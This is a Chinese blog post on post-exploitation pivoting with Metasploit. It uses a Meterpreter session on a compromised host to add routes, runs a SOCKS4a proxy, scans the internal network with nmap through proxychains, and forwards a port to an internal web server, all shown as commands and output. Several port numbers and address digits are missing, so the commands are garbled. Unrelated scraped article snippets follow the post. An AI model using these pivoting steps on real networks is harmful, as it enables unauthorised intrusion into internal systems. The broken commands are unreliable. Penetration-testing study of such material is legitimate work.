Metasploit使用内网跳板, 扫描局域网主机
最近,拿到一台内网机器, 苦于无法使用nmap扫描改主机的内网, 所以才有此文
在跳板机子获取一定权限后,需要积极的向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的meterpreter后门,可以使系列的操作更容易。
使用Meterpreter 内置的添加路由功能
获取路由信息
run get_local_subnets
自动添加路由
run post/multi/manage/autoroute
/*
或者使用 run autoroute -s 10.0.0.0 -n 255.0.0.0
-s 参数为网关 -n 参数为只掩码
*/
查看路由信息
run autoroute -p

虽然路由表已经添加了, 但是我们直接ping 内网的主机是没法ping通的
通过跳板使用NMAP
为了实现nmap扫描,metasploit中的路由配置需要被激活,并且需要通过socks4代理进行流量转发。Metasploit中存在这样的模块满足需求。
使用Metasploit中的socks4代理模块:
meterpreter > background
[*] Backgrounding session ...
msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT yes The port to listen on.
Auxiliary action:
Name Description
---- -----------
Proxy
msf auxiliary(socks4a) > set srvhost 192.168.1.11
srvhost => 192.168.1.11
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
msf auxiliary(socks4a) > netstat -antp | grep
[*] exec: netstat -antp | grep
tcp 172.16.0.20: 0.0.0.0:* LISTEN /ruby
msf auxiliary(socks4a) >
使用proxychains 代理转发
使用GNU\Linux操作系统内置的ProxyChains工具,任何TCP连接都能通过TOR、SCOKS4、SOCKS、HTTP/HTTPS等代理方式进行转发。在这项隧道技术中,可以嵌套多层代理。除了提供匿名性以外,如跳板机这样的利用也能实现向隔离的内部网络导入流量。

使用编辑器在文件/etc/proxychains.conf的最后一行加入socks4代理的配置信息。
--- snippet ---
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1
socks4 192.168.1.11
通过proxychains执行nmap扫描是一个简单的操作。流量包会通过定义的代理端口被导入到目标网络.
root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,,,, 192.168..199ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-12 04:17 EDT
|S-chain|-<>-192.168.1.11:-<><>-192.168.100.199:-<><>-OK
|S-chain|-<>-192.168.1.11:-<><>-192.168.100.199:-<><>-OK
|S-chain|-<>-192.168.1.11:-<><>-192.168.100.199:-<--timeout
|S-chain|-<>-192.168.1.11:-<><>-192.168.100.199:-<--timeout
|S-chain|-<>-192.168.1.11:-<><>-192.168.100.199:-<--timeout
|S-chain|-<>-192.168.1.11:-<><>-192.168.100.199:-<><>-OK
|S-chain|-<>-192.168.1.11:-<><>-192.168.100.199:-
可以看到192.168.100.199开启了web服务, 我们直接在浏览器中配置firefox代理(192.168.1.11 1080), 直接访问web服务:


端口重定向
此前通过nmap和proxychains,我们已经发现192.168.100.99的主机时在TCP 80端口运行了web服务。为了能够访问这个服务,本地系统的2323端口应该被路由至192.168.100.99的80端口.
meterpreter > portfwd add -L 192.168.1.11 -l -p -r 192.168.100.99
[*] Local TCP relay created: 192.168.1.11: <-> 192.168.100.99:
meterpreter > portfwd Active Port Forwards
==================== Index Local Remote Direction
----- ----- ------ ---------
192.168.1.11: 192.168.100.99: Forward total active port forwards.
总的来说很卡。。。

参考
内网渗透随想 http://www.91ri.org/14390.html
通过双重跳板漫游隔离内网 https://xz.aliyun.com/t/249
Metasploit使用内网跳板, 扫描局域网主机的更多相关文章
- [转]用apache反向代理解决单外网ip对应内网多个web主机的问题
用apache反向代理解决单外网ip对应内网多个web主机的问题 转载一个有独立外网IP,需内网服务器对外发布的例子,是应用apache虚拟主机的. 来源地址:http://www.itshantou ...
- [原创]K8 cping 3.0大型内网渗透扫描工具
[原创]K8 Cscan 大型内网渗透自定义扫描器 https://www.cnblogs.com/k8gege/p/10519321.html Cscan简介:何为自定义扫描器?其实也是插件化,但C ...
- MSF内网渗透 扫描模块
端口扫描 auxiliary/scanner/portscan scanner/portscan/ack ACK防火墙扫描 scanner/portscan/ftpbounce FTP ...
- 【Linux-CentOS】在无互联网-内网环境的Windows7主机上安装CentOS双系统,从安装到放弃
2018.12.3 日更新:本文仅作为无互联网环境下安装的参考.更推荐在互联网环境下安装软件和使用系统,毕竟会自动安装依赖包,比较方便. 因个人办公电脑装的盗版Win7总是蓝屏,影响工作,加之看到 W ...
- 判断ip地址是否为内网ip或局域网ip
bool IsLanIp(string& ip) { ,) == ,) == ,) == "192.") { return true; } else { return fa ...
- 利用Metasploit 打入ThinkPHP内网...
出品|MS08067实验室(www.ms08067.com) 本文作者:dch(Ms08067实验室 SRSP TEAM小组成员) 一.利用Metasploit进行攻击的流程图 Metasploi ...
- 通过云主机(网关机)远程登录内网mysql
国内的一些云主机平台(UCloud,阿里云,腾讯云等)走的都是网关机+内网机(即局域网)模式,网关机代理外网访问,不能直接连接内网机器.本文介绍通过远程登录云主机,并设置本地代理的方式,通过sqlyo ...
- Nessus静态ip配置及内网扫描
环境ubuntu虚拟机,以前linux配置ip都是从/etc/network/interfaces这里面更改,现在要在/etc/netplan下面配置. vim /etc/netplan/01-net ...
- 内网漫游之SOCKS代理大结局
0×01 引言 在实际渗透过程中,我们成功入侵了目标服务器.接着我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,比如内网的3389端口.内网网站8080端口等等.传统的方 ...
随机推荐
- FreeRTOS 任务通知模拟消息邮箱
举例 void task1_task(void *pvParameters) { u8 key; BaseType_t err; while(1) { key=KEY_Scan(0); //扫描按键 ...
- oracle 字符集安装错了,修改字符集 及创建用户 表空间 ,删除用户及所有的表
1.首先以sysdba的身份登录上去 conn /as sysdba 2.关闭数据库shutdown immediate; 3.以mount打来数据库,startup mount 4.设置sessio ...
- Kubernetes架构及相关服务详解
11.1.了解架构 K8s分为两部分: 1.Master节点 2.node节点 Master节点组件: 1.etcd分布式持久化存储 2.api服务器 3.scheduler 4.controller ...
- Java基础--static关键字
不管是平时阅读源代码,还是笔试.面试中,static关键字还是经常被问道,这篇文章主要来重新复习一下该关键字. 一.static用途 static方便在没有创建对象的时候调用方法或者变量. stati ...
- jmeter从表格批量读取数据(一)
1.新建一个文本文档,重命名为2.csv 2.可以在文档中设置如下参数:casenum:用例编号:url:访问路径:para:访问的域名:function:请求方式:expectValue:响应值 3 ...
- 利用requests库访问网站
1.关于requests库 函数 Response对象包含服务器返回的所有信息,也包含请求的Request信息. 访问百度二十次 import requests def getHTMLText(url ...
- AppDomain.Unload_MarshalByRefObject
internal string GetClassInfo(string assemblyName, string className, string strField) { string ret = ...
- 【转载】TCP协议
首部格式 图释: 各个段位说明: 源端口和目的端口:各占 2 字节.端口是传输层与应用层的服务接口.传输层的复用和分用功能都要通过端口才能实现 序号:占 4 字节.TCP 连接中传送的数据流中的每一个 ...
- LeetCode 1249. Minimum Remove to Make Valid Parentheses
原题链接在这里:https://leetcode.com/problems/minimum-remove-to-make-valid-parentheses/ 题目: Given a string s ...
- node.js封装数据库增删改查
数据库增删改查的封装 小编不容易 const sql = { insert: function (Collection, insertData) { return new Promise((resol ...